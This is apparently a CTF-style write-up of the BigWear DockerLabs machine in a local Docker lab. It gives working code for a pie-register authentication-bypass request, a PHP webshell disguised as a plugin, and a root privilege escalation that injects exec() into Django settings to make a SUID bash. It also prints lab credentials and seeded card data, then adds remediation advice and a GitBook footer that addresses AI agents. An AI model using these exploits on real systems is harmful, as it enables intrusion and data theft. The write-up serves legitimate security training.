> For the complete documentation index, see [llms.txt](https://yisus-offsec.gitbook.io/offensive-and-defensive-security/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yisus-offsec.gitbook.io/offensive-and-defensive-security/documentation/offensive-security/writeups-labs/bigwear-dockerlabs-writeup.md).

# BigWear (DockerLabs) - Writeup

### Overview

**BigWear** is a Docker-based Linux machine that combines multiple technologies within the same attack surface, including **WordPress**, a **React frontend**, and a **Django REST API**. The challenge is especially interesting because it requires chaining a vulnerable WordPress plugin, authenticated plugin upload abuse, credential harvesting, backend misconfigurations, and a privilege escalation vector caused by insecure service execution.

From an attacker’s perspective, BigWear demonstrates how a single web vulnerability can rapidly evolve into **full system compromise**, especially when applications, secrets, and service permissions are poorly separated. From a defender’s perspective, it is a strong example of why **patch management, least privilege, secret handling, and secure deployment practices** are critical.

## Target Information

| Attribute        | Value                                                          |
| ---------------- | -------------------------------------------------------------- |
| Machine Name     | BigWear                                                        |
| IP Address       | 172.17.0.2                                                     |
| Environment      | Docker / Local Lab                                             |
| Operating System | Ubuntu Linux                                                   |
| Difficulty       | Medium                                                         |
| Architecture     | Single container with multiple services managed by supervisord |

The container hostname was identified as:

```
9158cc7ad25b
```

All major services were being managed inside the same container through **supervisord**, which later became a key factor in privilege escalation.

## Attack Path Summary

The successful compromise followed this sequence:

1. Enumerate exposed services and identify WordPress, React, and Django.
2. Discover a vulnerable WordPress plugin: **pie-register 3.7.1.4**.
3. Exploit an **authentication bypass** to impersonate the WordPress administrator.
4. Upload a malicious plugin and obtain **remote code execution** as `www-data`.
5. Harvest credentials and application secrets from WordPress and Django.
6. Abuse writable Django files combined with **root-executed Django via supervisord**.
7. Trigger Django auto-reload to execute attacker-controlled Python code as **root**.
8. Obtain full root access and exfiltrate sensitive application data.

## Enumeration

### Port Scanning

The first phase was a full port scan to identify exposed services.

```bash
nmap -sS -Pn --min-rate 5000 -p- -oN /home/kali/172.17.0.2/nmap/initial_pn.txt 172.17.0.2
```

The scan revealed three relevant ports:

| Port | Service | Details                            |
| ---- | ------- | ---------------------------------- |
| 80   | HTTP    | Apache/2.4.52 (Ubuntu) - WordPress |
| 3000 | HTTP    | Node.js / React frontend           |
| 8000 | HTTP    | Django WSGIServer - REST API       |

This immediately suggested a multi-layered application environment rather than a single standalone web service.

### Port 80 - WordPress

WordPress was the most promising initial foothold. Enumeration with WPScan identified several relevant findings:

* WordPress running behind Apache/2.4.52
* `xmlrpc.php` enabled
* `wp-cron` enabled
* User enumeration revealed the username `admin`
* Vulnerable plugin detected: **pie-register 3.7.1.4**

Example scan:

```bash
wpscan --url http://172.17.0.2 --enumerate u,p,t --plugins-detection aggressive \
  -o /home/kali/172.17.0.2/web/wpscan.txt
```

The critical observation here was the vulnerable **pie-register** plugin, which became the main entry point into the machine.

### Port 3000 - React Frontend

The service on port 3000 exposed the **BigWear storefront frontend**, built with React and served as a static application. The frontend itself did not provide a direct foothold, but it confirmed that the environment was designed as a modern multi-component application and that it interacted with the Django API on port 8000.

### Port 8000 - Django REST API

The Django application exposed a REST API that contained both public and authenticated functionality. Key findings included:

* **Django 4.2.29**
* **Django REST Framework 3.16.1**
* SQLite database at `/opt/bigwear/backend/db.sqlite3`
* `DEBUG=True`
* Admin user credentials present in application settings
* Authentication falling back to **HTTP Basic Authentication**
* Sensitive banking data stored in the database
* Misconfiguration in REST framework permissions due to a typo in settings

Interesting API endpoints included:

* `GET /api/productos/`
* `GET /api/categorias/`
* `POST /api/auth/register/`
* `POST /api/auth/token/`
* `GET /api/profile/`
* `GET /api/profile/datos_bancarios/`

A notable configuration issue was that the setting used `DEFAULT_PERMISSIONS_CLASSES` instead of the correct `DEFAULT_PERMISSION_CLASSES`, which caused the intended permission configuration to fail silently.

## Initial Foothold

### pie-register Authentication Bypass

The initial compromise was achieved by exploiting an authentication bypass in **pie-register 3.7.1.4**, referenced in the notes as **ExploitDB 50395 / CVE-2025-34077**. The plugin’s social login mechanism accepted a user ID without properly validating ownership of the corresponding social account. This meant that by submitting `user_id_social_site=1`, it was possible to impersonate the WordPress administrator directly.

#### Exploit

```bash
curl -s -c /tmp/wp_cookies.txt -b /tmp/wp_cookies.txt \
  'http://172.17.0.2/wp-admin/admin-ajax.php' \
  -d 'action=pie_register_login_social&social_site=true&user_id_social_site=1&piereg_login_after_registration=true&_wp_http_referer=%2Flogin%2F&log=null&pwd=null'
```

This request produced valid WordPress session cookies and granted administrator access to `/wp-admin/`.

## Remote Code Execution

### Malicious Plugin Upload

Once administrative access to WordPress was obtained, the next step was to convert that into code execution. Since WordPress administrators are able to upload plugins, a malicious plugin was created and uploaded through the admin panel.

#### Malicious PHP Plugin

```php
<?php
/* Plugin Name: Security Update, Version: 1.0 */
if(isset($_GET['cmd'])){ echo "<pre>"; echo shell_exec($_GET['cmd']); echo "</pre>"; }
if(isset($_POST['cmd'])){ echo shell_exec($_POST['cmd']); }
?>
```

After uploading and activating the plugin, a webshell was available at:

```bash
http://172.17.0.2/wp-content/plugins/evilplugin/shell.php?cmd=<command>
```

Verification of command execution:

```bash
curl -s -G http://172.17.0.2/wp-content/plugins/evilplugin/shell.php \
  --data-urlencode "cmd=id"
```

Output:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

This confirmed **remote code execution as `www-data`**.

## Credential Harvesting

With code execution established, the next step was to collect credentials, secrets, and application data from both WordPress and Django.

### WordPress Credentials

From `wp-config.php` and environment variables, the following credentials were recovered:

#### WordPress Application Credentials

* **Admin username**: `admin`
* **Admin password**: `AdminWP2024!@#Secure123$%`

#### WordPress Database Credentials

* **DB user**: `wp_user`
* **DB password**: `wp_password`

### Django Credentials and Secrets

From `/opt/bigwear/backend/settings.py`, the following were identified:

* **Admin username**: `pepe`
* **Admin password**: `BigWear2024!@#`
* **SECRET\_KEY**: `django-insecure-761s4jy@_74==i7vfms0qkk22jg@(rp3npl$=lqf^vj=b8sst1`
* **DB\_ENCRYPTION\_KEY**: `BigWear2024!@#_encryption_key`

These credentials and secrets were directly accessible because the application stored them insecurely inside source files.

### Additional User Credentials

The Django management command source code exposed additional plaintext user passwords. The following users and passwords were recovered:

| Username       | Password      |
| -------------- | ------------- |
| hacker         | `hacker123`   |
| juan\_perez    | `password123` |
| maria\_garcia  | `password456` |
| carlos\_lopez  | `password789` |
| ana\_martinez  | `password321` |
| david\_sanchez | `password654` |
| laura\_diaz    | `password987` |

This is a major security weakness because it demonstrates that test or seeded accounts were created with predictable and exposed credentials.

## Sensitive Data Exposure

### SQLite Database Contents

The Django SQLite database at `/opt/bigwear/backend/db.sqlite3` contained highly sensitive information, including:

* PBKDF2-SHA256 password hashes
* user profile data
* plaintext banking data
* complete credit card records for six users

### Credit Card Data

The database contained the following credit card data in plaintext:

| User           | Full Name             | PAN               | Expiry  | CVV | Type       |
| -------------- | --------------------- | ----------------- | ------- | --- | ---------- |
| juan\_perez    | Juan Pérez García     | 4912345678901234  | 12/2025 | 123 | VISA       |
| maria\_garcia  | María García López    | 52789123456789012 | 08/2024 | 456 | MASTERCARD |
| carlos\_lopez  | Carlos López Martínez | 4539678901234567  | 03/2026 | 789 | AMEX       |
| ana\_martinez  | Ana Martínez Ruiz     | 4567890123456789  | 07/2025 | 012 | VISA       |
| david\_sanchez | David Sánchez Pérez   | 5412345678901234  | 01/2027 | 999 | MASTERCARD |
| laura\_diaz    | Laura Díaz Moreno     | 5555555555554444  | 09/2026 | 345 | MASTERCARD |

This is one of the most severe findings in the machine because it reflects extremely poor handling of regulated financial data. Storing CVV values and full card numbers in plaintext would represent a critical compliance and security failure in a real-world environment.

## Privilege Escalation

### Root Cause

Privilege escalation was possible because of a dangerous combination of deployment mistakes:

* `supervisord` was running as **root**
* Django was started without a `user=` directive, so it inherited **root privileges**
* the Django application directory was writable by `www-data`
* Django’s development server automatically reloaded when application files changed

This created a perfect escalation path: the compromised web user could modify Python application files, and Django would then execute those changes as **root**.

### Exploiting Django Auto-Reload

The exploitation strategy was to write a Python payload to `/tmp/priv.py` and then append an `exec()` call to `settings.py`, forcing Django to load attacker-controlled code.

#### Payload

```py
import os
os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")
```

#### Injection into settings.py

```python
exec(open("/tmp/priv.py").read())
```

Once `settings.py` changed, Django’s auto-reloader restarted the service and executed the payload as root. This created a SUID-enabled bash binary:

```bash
/tmp/rootbash
```

To obtain a privileged shell:

```bash
/tmp/rootbash -p
```

Verification of root context showed effective UID 0.

## Post-Exploitation

After privilege escalation, the machine was fully compromised. No traditional CTF flags such as `root.txt`, `user.txt`, or `flag.txt` were present. Instead, the intended objective of the lab appeared to be the complete compromise of the application and the recovery of all sensitive data.

The most important data obtained during post-exploitation included:

* WordPress administrator credentials
* WordPress database credentials
* Django administrator credentials
* Django application secret keys
* plaintext user passwords from management code
* PBKDF2 password hashes
* complete banking and credit card records of multiple users

## Technical Findings

### Major Vulnerabilities Identified

| Vulnerability                          | Severity | Impact                                    |
| -------------------------------------- | -------- | ----------------------------------------- |
| pie-register Authentication Bypass     | Critical | Unauthenticated admin access to WordPress |
| WordPress Plugin Upload Abuse          | High     | Remote code execution as `www-data`       |
| Django running as root via supervisord | Critical | Privilege escalation to root              |
| Writable Django application files      | Critical | Arbitrary code execution during reload    |
| `DEBUG=True` in production             | Medium   | Information disclosure                    |
| Hardcoded credentials and secrets      | High     | Credential compromise and session abuse   |
| Plaintext credit card storage          | Critical | Sensitive data breach                     |
| Exposed test user passwords            | High     | Account takeover                          |
| Misconfigured DRF permissions          | Medium   | Incorrect authorization behavior          |

These issues individually are serious, but their combined effect is what made full compromise trivial once the first foothold was obtained.

## Dead Ends and Rabbit Holes

Several paths were explored but were not necessary for the final compromise:

* registration endpoint returning `0`
* SQL injection testing against registration-related functionality
* WordPress password brute force
* token-based authentication attempts against Django
* filesystem searches for classic `flag{}` or `root.txt` patterns

These paths were useful for narrowing the attack strategy, but the WordPress plugin vulnerability remained the most efficient route.

## Lessons Learned

BigWear highlights several real-world security lessons:

1. **A plugin vulnerability in a CMS can become full system compromise very quickly.**
2. **Administrative access in WordPress should always be treated as near-equivalent to code execution.**
3. **Secrets should never be hardcoded in source files or exposed through environment leakage.**
4. **Development settings such as Django auto-reload and `DEBUG=True` should never be used in production-like systems.**
5. **Services must not run as root unless absolutely necessary.**
6. **Application code writable by the web user is a direct privilege escalation risk.**
7. **Sensitive financial data must never be stored in plaintext.**

## Remediation

A realistic defensive response for this environment would include:

* patch or remove the vulnerable **pie-register** plugin
* disable unsafe plugin upload workflows or restrict them tightly
* run Django, Apache, and supporting services under dedicated non-root users
* remove write permissions to application source files for web-facing users
* disable Django debug mode in production
* rotate all discovered passwords and secret keys
* remove hardcoded credentials from application files
* fix the DRF configuration typo
* properly configure authentication classes
* eliminate plaintext storage of banking and credit card data
* never store CVV values
* enforce strong password policies for all seeded and administrative accounts

## Conclusion

BigWear is an excellent example of **attack chaining in a modern web environment**. The machine starts with a vulnerable WordPress plugin, escalates into authenticated administrative abuse, transitions into command execution, and ends with full root compromise due to insecure backend deployment. What makes this box valuable is not only the exploitation itself, but the way it illustrates how **multiple medium-to-critical weaknesses can combine into complete compromise**.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://yisus-offsec.gitbook.io/offensive-and-defensive-security/documentation/offensive-security/writeups-labs/bigwear-dockerlabs-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.